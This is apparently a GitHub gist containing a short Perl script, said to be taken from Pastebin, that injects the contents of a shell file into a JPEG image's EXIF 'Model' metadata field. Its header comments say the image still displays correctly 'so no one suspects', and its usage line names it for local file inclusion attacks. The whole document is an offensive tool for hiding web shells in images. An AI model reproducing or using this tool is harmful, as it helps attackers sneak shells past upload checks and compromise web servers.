Created
June 18, 2014 16:26
-
-
Save iGh0st/996423ca7b0bdf4dbafa to your computer and use it in GitHub Desktop.
To inject a shell in a JPEG image
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
################################################# | |
#It is a fairly simple tool # | |
# To inject a shell in a JPEG image # | |
# And that it continues and may be displayed # | |
# Correctly, this way no one suspects. # | |
# All it does is put the shell inside # | |
# Metadata of the photo. # | |
# -Taken from pastbin # | |
################################################# | |
use Image::ExifTool; | |
print q( | |
+-----------------------------------+ | |
Shell to jpeg injector | |
+-----------------------------------+ | |
); | |
die "[-]Usage: perl 0verLFI.pl <FILE> <IMAGE>\n" unless @ARGV == 2; | |
my $file = $ARGV[0]; | |
my $jpeg = $ARGV[1]; | |
print "[+]Image = $jpeg \n"; | |
print "[+]Shell = $file \n"; | |
open (HANDLE, $file); | |
@array = <HANDLE>; | |
my $string = join("\n", @array); | |
my $tool = Image::ExifTool->new(); | |
$tool->ExtractInfo($jpeg); | |
$tool->SetNewValue("Model", $string); | |
$done = $tool->WriteInfo($jpeg); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment